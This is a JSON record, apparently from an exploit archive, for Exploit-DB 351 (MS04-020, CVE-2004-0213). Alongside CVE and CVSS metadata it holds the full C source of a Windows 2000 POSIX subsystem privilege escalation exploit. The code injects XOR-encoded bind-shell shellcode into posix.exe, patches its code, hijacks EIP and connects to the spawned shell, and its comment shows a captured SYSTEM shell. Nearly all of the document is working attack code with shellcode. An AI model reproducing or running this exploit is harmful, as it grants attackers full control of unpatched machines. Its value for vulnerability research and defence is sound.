{"exploit":{"id":"EDB-351","name":"Microsoft Windows Server 2000 - POSIX Subsystem Privilege Escalation (MS04-020)","description":"Microsoft Windows Server 2000 - POSIX Subsystem Privilege Escalation (MS04-020)","cves":["CVE-2004-0213"],"author":"bkbll","published":"2004-07-17","platform":"windows","type":"local","language":"C","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/351","path":"exploits/windows/local/351.c","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-351.c","vulnerabilities":[{"id":"CVE-2004-0213","state":"PUBLISHED","title":null,"titleSource":null,"description":"Utility Manager in Windows 2000 launches winhlp32.exe while Utility Manager is running with raised privileges, which allows local users to gain system privileges via a \"Shatter\" style attack that sends a Windows message to cause Utility Manager to launch winhlp32 by directly accessing the context sensitive help and bypassing the GUI, then sending another message to winhlp32 in order to open a user-selected file, a different vulnerability than CVE-2003-0908.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2004-0213","cvss":{"version":"3.1","baseScore":7.8,"severity":"high","vectorString":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2004-0213"},"updatedAt":"2024-08-08T00:10:03.915Z","retrievedAt":"2026-11-26T11:44:08.921Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-351.png?v=2","url":"https://exploitbin.com/exploits/EDB-351","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-351/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-351/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"/* Microsoft Windows POSIX Subsystem Local Privilege Escalation Exploit (MS04-020)\n*\n* Tested on windows 2k sp4 CN,NT/XP/2003 NOT TESTED\n*\n* Posixexp.c By bkbll (bkbll cnhonker net,bkbll tom com) www cnhonker com\n*\n* 2004/07/16\n*\n* thanks to eyas xfocus org\n*\n*\nC:\\>whoami\nVITUALWIN2K\\test\n\nC:\\>posixexp\nMicrosoft Windows POSIX Subsystem Local Privilege Escalation Exploit(1\nBy bkbll (bkbll#cnhonker.net,bkbll#tom.com) www.cnhonker.com\n\npax: illegal option--h\nUsage: pax -[cimopuvy] [-f archive] [-s replstr] [-t device] [pattern.\npax -r [-cimopuvy] [-f archive] [-s replstr] [-t device] [patte\npax -w [-adimuvy] [-b blocking] [-f archive] [-s replstr]\n[-t device] [-x format] [pathname...]\npax -r -w [-ilmopuvy] [-s replstr] [pathname...] directory\n\nFor more information on pax syntax, see Command Reference\nHelp in the Windows Help file.Remote addr:0x7ff90000\nMicrosoft Windows 2000 [Version 5.00.2195]\n(C) &#29256;&#26435;&#25152;&#26377; 1985-2000 Microsoft Corp.\n\nC:\\WINNT\\system32>whoami\nwhoami\nNT AUTHORITY\\SYSTEM\n\nC:\\WINNT\\system32>exit\n[+] Connection closed in exit command.\n\nC:\\>\n\n*/\n\n#include <stdlib.h>\n#include <Winsock2.h>\n#include <windows.h>\n\n#pragma comment(lib,\"ws2_32\")\n\n#define PATCHADDR 0x0100343D        //&#38656;&#35201;&#21160;&#24577;&#20462;&#25913;posix.exe&#30340;&#20301;&#32622;\n#define MEMSIZE 0x350\n#define CODESIZE 50\n#define bind_port_offset 116\n#define RETADDR 0x796E9B53 //advapi32.dll jmp esp\n// [ebp-0x200] [saved ebp] [saved eip]\n#define EIPLOCATION 0x200+4-12    //12&#26159;\"\\DosDevices\\\"&#30340;&#38271;&#24230;\n#define CANWRITEADDR 0x7ffdf02c     //&#35813;&#22320;&#22336;+0x20&#35201;&#21487;&#20889;\n#define VERSION \"1.0\"\n\nunsigned short bindport = 60000;\n\nunsigned char jmpcode[]=\n\"\\x33\\xC0\"        //xor eax,eax\n\"\\x66\\xB8\\xc0\\x01\"    //mov ax,0x1ff\n\"\\x40\"            //inc eax\n\"\\x2B\\xE0\"        //sub esp,eax\n\"\\xFF\\xE4\"        //jmp esp\n\"\\x00\";            //\\0 zero NULL\n\nunsigned char bind_shell[]=\n\"\\xeb\\x10\\x5b\\x4b\\x33\\xc9\\x66\\xb9\\x45\\x01\\x80\\x34\\x0b\\xee\\xe2\\xfa\"\n\"\\xeb\\x05\\xe8\\xeb\\xff\\xff\\xff\"\n/* 302 bytes shellcode, xor with 0xee */\n\"\\x07\\x12\\xee\\xee\\xee\\xb1\\x8a\\x4f\\xde\\xee\\xee\\xee\\x65\\xae\\xe2\\x65\"\n\"\\x9e\\xf2\\x43\\x65\\x86\\xe6\\x65\\x19\\x84\\xea\\xb7\\x06\\x72\\xee\\xee\\xee\"\n\"\\x0c\\x17\\x86\\xdd\\xdc\\xee\\xee\\x86\\x99\\x9d\\xdc\\xb1\\xba\\x11\\xf8\\x7b\"\n\"\\x84\\xe8\\xb7\\x06\\x6a\\xee\\xee\\xee\\x0c\\x17\\x65\\x2a\\xdd\\x27\\xdd\\x3c\"\n\"\\x5f\\xea\\x19\\x1f\\xc5\\x0c\\x6f\\x02\\x7e\\xef\\xee\\xee\\x65\\x22\\xbf\\x86\"\n\"\\xec\\xec\\xee\\xee\\x11\\xb8\\xca\\xdd\\x27\\xbf\\x86\\xec\\xee\\xee\\xdb\\x65\"\n\"\\x02\\xbf\\xbf\\xbf\\xbf\\x84\\xef\\x84\\xec\\x11\\xb8\\xfe\\x7d\\x84\\xfe\\xbb\"\n\"\\xbd\\x11\\xb8\\xfa\\xbe\\xbd\\x11\\xb8\\xf6\\x65\\x12\\x84\\xe0\\xb7\\x45\\x0c\"\n\"\\x13\\xbe\\xbe\\xbd\\x11\\xb8\\xf2\\x88\\x29\\xaa\\xca\\xc2\\xef\\xef\\x45\\x45\"\n\"\\x45\\x65\\x3a\\x86\\x8d\\x83\\x8a\\xee\\x65\\x02\\xdd\\x27\\xbe\\xb9\\xbc\\xbf\"\n\"\\xbf\\xbf\\x84\\xef\\xbf\\xbf\\xbb\\xbf\\x11\\xb8\\xea\\x84\\x11\\x11\\xd9\\x11\"\n\"\\xb8\\xe2\\xbd\\x11\\xb8\\xce\\x11\\xb8\\xce\\x11\\xb8\\xe6\\xbf\\xb8\\x65\\x9b\"\n\"\\xd2\\x65\\x9a\\xc0\\x96\\xed\\x1b\\xb8\\x65\\x98\\xce\\xed\\x1b\\xdd\\x27\\xa7\"\n\"\\xaf\\x43\\xed\\x2b\\xdd\\x35\\xe1\\x50\\xfe\\xd4\\x38\\x9a\\xe6\\x2f\\x25\\xe3\"\n\"\\xed\\x34\\xae\\x05\\x1f\\xd5\\xf1\\x9b\\x09\\xb0\\x65\\xb0\\xca\\xed\\x33\\x88\"\n\"\\x65\\xe2\\xa5\\x65\\xb0\\xf2\\xed\\x33\\x65\\xea\\x65\\xed\\x2b\\x45\\xb0\\xb7\"\n\"\\x2d\\x06\\x11\\x10\\x11\\x11\\x60\\xa0\\xe0\\x02\\x9c\\x10\\x5d\\xf8\\x01\\x20\"\n\"\\x0e\\x8e\\x43\\x37\\xeb\\x20\\x37\\xe7\\x1b\\x43\\x4a\\xf4\\x9e\\x29\\x4a\\x43\"\n\"\\xc0\\x07\\x0b\\xa7\\x68\\xa7\\x09\\x97\\x28\\x97\\x25\\x03\\x12\\xd5\"\n;\n\nint readwrite(SOCKET fd);\nint client_connect(int sockfd,char* server,int port);\n\nmain()\n{\n   STARTUPINFO si;\n   PROCESS_INFORMATION pi;\n   LPVOID pdwCodeRemote;\n   unsigned int cbMemSize = MEMSIZE;\n   DWORD dwOldProtect,dwNumBytesXferred;\n   unsigned char buffer[MEMSIZE];\n   unsigned int buflen=0;\n   unsigned char textbuf[CODESIZE];\n   int i;\n   unsigned short lports;\n   char cmdarg[400];\n   char systemdir[MAX_PATH+1];\n   WSADATA    wsd;\n   SOCKET sockfd;\n\n   printf(\"Microsoft Windows POSIX Subsystem Local Privilege Escalation Exploit(%s)\\n\",VERSION);\n   printf(\"By bkbll (bkbll#cnhonker.net,bkbll#tom.com) www.cnhonker.com\\;n\\n\");\n   if (WSAStartup(MAKEWORD(2,2), &wsd) != 0)\n   {\n       printf(\"[-] WSAStartup error:%d\\n\", WSAGetLastError());\n       return -1;\n   }\n\n   i = GetWindowsDirectory(systemdir,MAX_PATH);\n   systemdir[i]='\\0';\n   _snprintf(cmdarg,sizeof(cmdarg)-1,\"%s\\\\system32\\\\posix.exe /P %s\\\\system32\\\\pax.exe /C\npax -h\",systemdir,systemdir);\n   //printf(\"cmdarg:%s\\n\",cmdarg);\n   //exit(0);\n   ZeroMemory(&si,sizeof(si));\n   si.cb = sizeof(si);\n   ZeroMemory( &pi,sizeof(pi));\n   //create process\n   //&#20808;&#35753;psxss&#36816;&#34892;&#36215;&#26469;\n   if(!CreateProcess(NULL, cmdarg, NULL, NULL, TRUE, 0, 0, 0, &si, &pi))\n   {\n    printf(\"CreateProcess1 failed:%d\\n\", GetLastError());\n    return 0;\n   }\n   WaitForSingleObject(pi.hProcess, INFINITE);\n   //&#20877;&#36816;&#34892;&#19968;&#27425;\n   ZeroMemory(&si,sizeof(si));\n   si.cb = sizeof(si);\n   ZeroMemory( &pi,sizeof(pi));\n   if(!CreateProcess(NULL, cmdarg, NULL, NULL, TRUE,CREATE_SUSPENDED, 0, 0, &si, &pi))\n   {\n    printf(\"CreateProcess2 failed:%d\\n\", GetLastError());\n    return 0;\n   }\n   //alloc from remote process\n   pdwCodeRemote = (PDWORD)VirtualAllocEx(pi.hProcess, NULL, cbMemSize,MEM_COMMIT |\n   MEM_TOP_DOWN,PAGE_EXECUTE_READWRITE);\n   if (pdwCodeRemote == NULL)\n   {\n       TerminateProcess(pi.hProcess,0);\n       printf(\"VirtualAllocEx failed:%d\\n\",GetLastError());\n       return 0;\n   }\n   printf(\"Remote addr:0x%08x\\n\",pdwCodeRemote);\n   //we can write and execute\n   if(!VirtualProtectEx(pi.hProcess, pdwCodeRemote, cbMemSize,PAGE_EXECUTE_READWRITE, &dwOldProtect))\n   {\n       TerminateProcess(pi.hProcess,0);\n       printf(\"VirtualProtectEx failed:%d\\n\",GetLastError());\n       return 0;\n   }\n   //make shellcode\n   lports = htons(bindport)^0xeeee;\n   memcpy(bind_shell+bind_port_offset,&lports,2);\n\n   memset(buffer,'\\x90',MEMSIZE);\n   //memset(buffer,'A',EIPLOCATION);\n   buffer[MEMSIZE-1] = '\\0';\n   i=sizeof(bind_shell)-1;\n   if(i >= EIPLOCATION)\n   {\n       printf(\"shellcode so large:%d,must < %d\\n\",i,MEMSIZE);\n       TerminateProcess(pi.hProcess,0);\n       return 0;\n   }\n   i=EIPLOCATION-i;\n   memcpy(buffer+i,bind_shell,sizeof(bind_shell)-1);\n   *(unsigned int*)(buffer+EIPLOCATION) = RETADDR; //&#35206;&#30422;eip\n   *(unsigned int*)(buffer+EIPLOCATION+4) =CANWRITEADDR; //&#35206;&#30422;&#31532;&#19968;&#20010;&#21442;&#25968;\n   memcpy(buffer+EIPLOCATION+12,jmpcode,sizeof(jmpcode)-1);\n   //write in to target\n   buflen=MEMSIZE;\n   if(!WriteProcessMemory(pi.hProcess,pdwCodeRemote,buffer,buflen,&dwNumBytesXferred))\n   {\n       TerminateProcess(pi.hProcess,0);\n       printf(\"WriteProcessMemory failed:%d\\n\",GetLastError());\n       return 0;\n   }\n   //modified the process .text\n   if(!VirtualProtectEx(pi.hProcess,(LPVOID)PATCHADDR,CODESIZE,PAGE_EXECUTE_READWRITE, &dwOldProtect))\n   {\n       TerminateProcess(pi.hProcess,0);\n       printf(\"VirtualProtectEx 0x08x failed:%d\\n\",PATCHADDR,GetLastError());\n       return 0;\n   }\n   //&#21019;&#24314;&#35201;&#20462;&#34917;&#30340;&#20869;&#23481;\n   i = 0;\n   textbuf[i++]='\\xbf';\n   textbuf[i++]=(DWORD)pdwCodeRemote & 0xff;    //mov edi,pdwCodeRemote\n   textbuf[i++]=((DWORD)pdwCodeRemote >> 8 ) & 0xff;\n   textbuf[i++]=((DWORD)pdwCodeRemote >> 16 ) & 0xff;\n   textbuf[i++]=((DWORD)pdwCodeRemote >> 24 ) & 0xff;\n   //&#26367;&#25442;&#36339;&#36716;&#25351;&#20196;\n   textbuf[i++]='\\xeb';\n   textbuf[i++]='\\x09'; //jmp .+0b\n   //&#20889;&#36827;&#36827;&#31243;&#20013;\n   if(!WriteProcessMemory(pi.hProcess,(LPVOID)PATCHADDR,textbuf,i,&dwNumBytesXferred))\n   {\n       TerminateProcess(pi.hProcess,0);\n       printf(\"WriteProcessMemory failed:%d\\n\",GetLastError());\n       return 0;\n   }\n   ResumeThread(pi.hThread);\n   Sleep(5);\n   sockfd=WSASocket(2,1,0,0,0,0);\n   if(sockfd == INVALID_SOCKET)\n   {\n       printf(\"[-] WSASocket error:%d\\n\", WSAGetLastError());\n       return -1;\n   }\n   if(client_connect(sockfd,\"127.0.0.1\",bindport) < 0)\n   {\n       closesocket(sockfd);\n       printf(\"[-] Maybe not success?\\n\");\n   }\n   readwrite(sockfd);\n   TerminateProcess(pi.hProcess,0);\n   WaitForSingleObject(pi.hProcess, INFINITE);\n}\n\nint readwrite(SOCKET fd)\n{\n   fd_set fdr1;\n   unsigned char buffer[1024];\n   int istty,ct1,ct2;\n   struct timeval timer;\n\n   memset(buffer,0,sizeof(buffer));\n   istty=_isatty(0);\n   timer.tv_sec=0;\n   timer.tv_usec=0;\n\n   while(1)\n   {\n\n       FD_ZERO(&fdr1);\n       FD_SET(fd,&fdr1);\n       ct1=select(0,&fdr1,NULL,NULL,&timer);\n       if(ct1==SOCKET_ERROR)\n       {\n           printf(\"[-] select error:%d\\n\",GetLastError());\n           break;\n       }\n       if(FD_ISSET(fd,&fdr1))\n       {\n           ct1=recv(fd,buffer,sizeof(buffer)-1,0);\n           if((ct1==SOCKET_ERROR) || (ct1==0))\n           {\n               printf(\"[-] target maybe close the socket.\\n\");\n               break;\n           }\n           if(_write(1,buffer,ct1)<=0)\n           {\n               printf(\"[-] write to stdout error:%d\\n\",GetLastError());\n               break;\n           }\n\n           memset(buffer,0,sizeof(buffer));\n       }\n       if(istty)\n       {\n           if(_kbhit()) /* stdin can read */\n           {\n\n\n               ct1=read(0,buffer,sizeof(buffer)-1);\n               if(ct1 <= 0)\n               {\n                   printf(\"[-] read from stdin error:%d\\n\",GetLastError());\n                   break;\n               }\n               ct2=send(fd,buffer,ct1,0);\n               if((ct2==SOCKET_ERROR) || (ct2==0))\n               {\n                   printf(\"[-] target maybe close the socket.\\n\");\n                   break;\n               }\n               if( strnicmp(buffer, \"exit\", 4) == 0)\n               {\n                   printf(\"[+] Connection closed in exit command.\\n\");\n                   break;\n               }\n               memset(buffer,0,sizeof(buffer));\n           }\n       }\n       else\n       {\n           ct1=read(0,buffer,sizeof(buffer)-1);\n           if(ct1<=0)\n           {\n               printf(\"[-] read from nontty stdin error:%d\\n\",GetLastError());\n               break;\n           }\n           ct2=send(fd,buffer,ct1,0);\n           if((ct2==SOCKET_ERROR) || (ct2==0))\n           {\n               printf(\"[-] target maybe close the socket\\n\");\n               break;\n           }\n           if( strnicmp(buffer, \"exit\", 4) == 0)\n           {\n               printf(\"[+] Connection closed in exit command.\\n\");\n               break;\n           }\n           memset(buffer,0,sizeof(buffer));\n       }\n   }\n   return(1);\n}\n\n\n/* &#36830;&#25509;&#25351;&#23450;server &#21644;port */\nint client_connect(int sockfd,char* server,int port)\n{\n   struct sockaddr_in cliaddr;\n   struct hostent *host;\n   short port2;\n\n   port2=port & 0xffff;\n\n   if((host=gethostbyname(server))==NULL)\n   {\n       printf(\"gethostbyname(%s) error\\n\",server);\n       return(-1);\n   }\n\n   memset(&cliaddr,0,sizeof(struct sockaddr));\n   cliaddr.sin_family=AF_INET;\n   cliaddr.sin_port=htons(port2);\n   cliaddr.sin_addr=*((struct in_addr *)host->h_addr);\n   if(connect(sockfd,(struct sockaddr *)&cliaddr,sizeof(struct sockaddr))<0)\n   {\n       printf(\"[-] Trying %s:%d error\\n\",server,port);\n       closesocket(sockfd);\n       return(-1);\n   }\n   //printf(\"ok\\r\\n\");\n   return(0);\n}\n\n// milw0rm.com [2004-07-17]","sha256":"c232d4a0c797a0e3b7aa42abd4785794759be0a2df0dc56549cca70268dec253","bytes":11168,"fetchedAt":"2026-11-26T14:10:16.420Z","encoding":"utf-8 (display only; download retains original bytes)"}